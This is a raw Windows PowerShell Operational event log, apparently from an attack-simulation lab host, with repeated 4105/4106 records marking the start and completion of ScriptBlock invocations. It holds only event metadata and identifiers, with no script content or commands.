ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047043
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047036
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047035
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047030
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047029
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047021
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047019
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047018
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047007
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047006
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047005
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047004
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2047002
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047001
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2047000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046996
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046995
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046990
Keywords=None
